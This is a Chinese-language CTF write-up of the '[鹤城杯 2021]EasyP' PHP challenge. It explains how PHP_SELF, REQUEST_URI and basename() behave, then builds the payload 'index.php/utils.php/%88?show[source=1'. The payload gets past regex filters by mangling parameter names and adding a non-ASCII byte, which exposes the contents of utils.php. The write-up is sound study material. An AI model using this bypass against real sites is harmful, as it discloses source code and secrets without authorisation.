# [鹤城杯 2021]EasyP # [鹤城杯 2021]EasyP ```php ``` 先看第一部分代码: ```php // 检查是否设置了 POST 请求中的 'guess' 参数 if (isset($_POST['guess'])) { // 将 'guess' 参数转换为字符串 $guess = (string) $_POST['guess']; // 检查是 $guess 否等于 $secret 变量 if ($guess === $secret) { $message = 'Congratulations! The flag is: ' . $flag; } else { $message = 'Wrong. Try Again'; } } ``` 这部分代码让你去猜 secret 变量的内容,显然是个干扰项 再看第二部分代码: ```php // 检查当前 PHP 文件的路径是否以 'utils.php' 结尾,防止直接访问 utils.php 文件 if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) { exit("hacker :)"); } // 检查请求 URI 是否包含 'show_source',防止直接访问 show_source 相关的页面 if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){ exit("hacker :)"); } // 检查是否设置了 GET 请求中的 'show_source' 参数 if (isset($_GET['show_source'])) { // 如果设置了 'show_source' 参数,高亮显示当前文件的源代码并退出 highlight_file(basename($_SERVER['PHP_SELF'])); exit(); } else { // 如果未设置 'show_source' 参数,显示当前文件的源代码并退出 show_source(__FILE__); } ``` - 正则表达式 `/utils\.php\/*$/i` 检查 `$_SERVER['PHP_SELF']` 是否以 `utils.php` 结尾 - `$`:这是锚定字符,表示匹配的模式必须出现在字符串的末尾 - 正则表达式 `/show_source/` 匹配包含 "show_source" 字符串的文本 - `$_SERVER['PHP_SELF']`:包含当前执行脚本的文件名,是相对于网站根目录的路径 - `$_SERVER['REQUEST_URI']`:包含当前请求的完整 URI(包括传参内容) - `basename()`:返回路径中的文件名部分,即去掉路径后的部分,只保留文件名 > 关于 `$_SERVER['PHP_SELF']`、`$_SERVER['REQUEST_URI']` 和 `basename()` : > > 假设有以下 PHP 文件:`index.php` > > ```php > // 获取当前脚本文件的相对路径 > $phpSelf = $_SERVER['PHP_SELF']; > > // 获取当前请求的 URI > $requestUri = $_SERVER['REQUEST_URI']; > > // 获取当前脚本文件的基本文件名 > $baseName = basename($_SERVER['PHP_SELF']); > > echo "PHP_SELF: $phpSelf
"; > echo "REQUEST_URI: $requestUri
"; > echo "basename: $baseName
"; > ?> > ``` > >现在,如果通过浏览器访问 `http://example.com/index.php?page=1`,则输出将是: > >``` > PHP_SELF: /index.php > REQUEST_URI: /index.php?page=1 > basename: index.php > ``` > 关于`basename()`: > >```PHP > echo "1) ".basename("/etc/sudoers.d").PHP_EOL; > echo "2) ".basename("/etc/passwd").PHP_EOL; > echo "3) ".basename("/etc/").PHP_EOL; > echo "4) ".basename(".").PHP_EOL; > echo "5) ".basename("/"); > ?> > ``` > >以上例程会输出: > >``` > 1) sudoers.d > 2) passwd > 3) etc > 4) . > 5) > ``` 获得 flag 需满足 : 1. 参数 show_source 得到传值 2. URI ($_SERVER['REQUEST_URI'])不能包含:show_source 3. `basename($_SERVER['PHP_SELF'])` 的结果是:utils.php 4. 当前 PHP 文件的路径($_SERVER['PHP_SELF'])不能以:utils.php/ 结尾 同时满足1、2:用 `[` `.` `(空格)` 来代替 `_` ,即 `show[source` `show source` `show.source` 同时满足3、4:在 `utils.php/` 后加一个非 ASCII 编码,例如:`%88`、`%ff`等 payload:`index.php/utils.php/%88?show[source=1` ![[鹤城杯 2021]EasyP-1](https://pic.imgdb.cn/item/6552dee9c458853aefda4ebe.jpg) > **相关实验** > > 网页代码: > > ```php > echo "\$_SERVER['REQUEST_URI']的值:".$_SERVER['REQUEST_URI']; > echo "
"; > echo "\$_SERVER['PHP_SELF']的值:".$_SERVER['PHP_SELF']; > echo "
"; > echo "basename(\$_SERVER['PHP_SELF'])的值:".basename($_SERVER['PHP_SELF']); > echo "
"; > > if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) { > echo("匹配到正则:/utils\.php\/*$/i"); > echo "
"; > }else{ > echo("绕过正则:/utils\.php\/*$/i"); > echo "
"; > } > if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){ > echo("匹配到正则:/show_source/"); > echo "
"; > }else{ > echo("绕过正则:/show_source/"); > echo "
"; > } > if (isset($_GET['show_source'])) { > echo("参数 show_source 得到传值"); > echo "
"; > } > ?> > ``` > > ![[鹤城杯 2021]EasyP-2](https://pic.imgdb.cn/item/65521cf1c458853aef0aacaa.jpg)